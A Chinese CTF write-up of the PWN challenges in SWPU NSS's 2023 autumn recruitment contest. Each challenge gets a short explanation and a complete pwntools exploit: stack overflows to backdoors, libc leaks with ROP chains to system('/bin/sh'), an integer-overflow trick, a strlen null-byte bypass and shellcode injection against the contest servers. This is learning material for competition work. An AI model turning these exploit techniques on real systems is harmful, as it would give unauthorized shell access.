2023年SWPU NSS 秋季招新赛 PWN
简介:
西南石油大学举办的一场新生赛,总体来说举办的不错,支持支持,明年再来!!!
guess me
签到题,nc再猜猜就完事了

签到
签到题,栈溢出,带有后面函数,唯一需要注意的就是需要栈平衡(加个 ret 就行)


exp 如下:
from pwn import * context(arch="amd64", os="linux", log_level="debug")
io = remote('node4.anna.nssctf.cn', 28836) backdoor = 0x401232 ret_addr = 0x40101a payload = b'A' * (0X30 + 8) + p64(ret_addr) + p64(backdoor) io.sendline(payload) io.interactive()
|
ezlibc
经典 32 位泄露 libc,不太懂的可以看看 PWN PWN PWN !!! 技巧 (1),这题就是通过 write 函数泄露 libc,自己构造 rop 链,来获取 shell。

exp 如下:
from pwn import * context(arch="amd64", os="linux", log_level="debug")
io = remote('node6.anna.nssctf.cn', 28337) elf = ELF('./111') libc = ELF('./libc-2.31.so') ret_addr = 0x804900e main_addr = 0x80491B6 payload = b'A' * (0x10 + 4) + p32(elf.plt['write']) + p32(main_addr) + p32(1) + p32(elf.got['write']) + p32(4) io.recvuntil(b'Hello, there is a ez libc test!!!input:') io.sendline(payload) write_addr = u32(io.recvuntil(b'\xf7')[-4:]) print(hex(write_addr)) libc_base = write_addr - libc.sym['write'] sys_addr = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b"/bin/sh\x00")) payload = b'A' * (0x10 + 4) + p32(ret_addr) + p32(sys_addr) + p32(0) + p32(bin_sh) io.sendline(payload) io.interactive()
|
buy
这题也不难,认真的代码审计就行,仔细的去理清里面的逻辑就行。
刚开始看 vuln 函数,你就会发现 door 函数里面发生了栈溢出,并且还带有后门函数 mygift,可以利用栈溢出来获得 shell,那我们的首要目的就是让 key 等于 1 ,这样才能执行 door 函数。



然后我们就找啊找啊,发现在 food 函数可以实现 key 等于 1,但前提就是 money 必须大于 10000,同时你也会发现 money 的数据类型是无符号整形,让他等于负数,就可以实现整形溢出的效果,这样 money 就会蹭蹭的往上涨。
其次需要注意的就是不同函数的来回切换,你需要想好你要干什么,这样才能获得 shell。
这题同样需要栈平衡(怎么判呢?如果 payload = 垃圾数据 + system + binsh 打不通的话,不妨试试在 system 前面加个 ret 栈平衡一下)

exp 如下:
from pwn import * context(arch="amd64", os="linux", log_level="debug")
io = remote('node6.anna.nssctf.cn', 28209) backdoor = 0x401544 ret_addr = 0x40101a io.sendlineafter(b'your choice:\n', b'1') io.sendlineafter(b'what do you want?\n', b'1') io.sendlineafter(b'How many?\n', b'-11') io.sendlineafter(b'your choice:\n', b'2') io.sendlineafter(b'what do you want?\n', b'1') io.sendlineafter(b'How many?\n', b'1') payload = b'A' * (0XA + 8) + p64(ret_addr) + p64(backdoor) io.recvuntil(b'input:\n') io.sendline(payload) io.interactive()
|
神奇的 strlen
查看一下保护机制,只打开了 NX。

IDA 反汇编一下,发现发生了栈溢出,但是前提是需要绕过 strlen(只需要通过 \x00 绕过),还有一个点需要注意就是上面需要输入一个整数(尽可能大点的数就行)。
这里有个坑不知道你们踩了没,这题是用:
puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
|
而不是:
puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
|
希望大家注意一下,弄得我想半天没有写出来……
准备工作完毕,开干!

exp 如下:
from pwn import * from LibcSearcher import * context(arch='amd64', os='linux', log_level='debug') p = remote('node4.anna.nssctf.cn', 28171) elf = ELF('./111') libc = ELF('libc.so.6') got_addr = elf.got['puts'] plt_addr = elf.plt['puts'] main_addr = 0x4011F6 rdi_addr = 0x401373 ret_addr = 0x40101a p.sendlineafter('How many bytes do you want to input?\n', b'200') payload = b'\x00' + b'A' * (0x40 + 7) + p64(rdi_addr) + p64(got_addr) + p64(plt_addr) + p64(main_addr) p.recvuntil(b'input something else~\n') p.sendline(payload) puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print(hex(puts_addr))
libc_base = puts_addr - libc.sym['puts'] sys_addr = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b"/bin/sh\x00")) p.sendlineafter('How many bytes do you want to input?\n', b'200') payload = b'\x00' + b'a' * (0x40 + 7) + p64(ret_addr) + p64(rdi_addr) + p64(bin_sh) + p64(sys_addr) p.recvuntil(b'input something else~\n') p.sendline(payload) p.interactive()
|
Shellcode
正常的一道 shellcode 的题目,刚开始不能反汇编,以为会很难(因为汇编代码不是很懂),结果发现直接上就完事了(注意一下 64 位的环境就行)
exp 如下:
from pwn import * context(log_level='debug', arch='amd64', os='linux')
p = remote('node4.anna.nssctf.cn', 28131)
payload = asm(shellcraft.sh()) p.sendline(payload) p.interactive()
|
总结:
这次比赛总体不错,RE 和 CRYPTO 都做了些,可惜的就是 PWN 没有 ak,暴露出了自己的弱点,还是要慢慢沉淀,对汇编还真的不是很熟,加油吧,冲冲冲!!!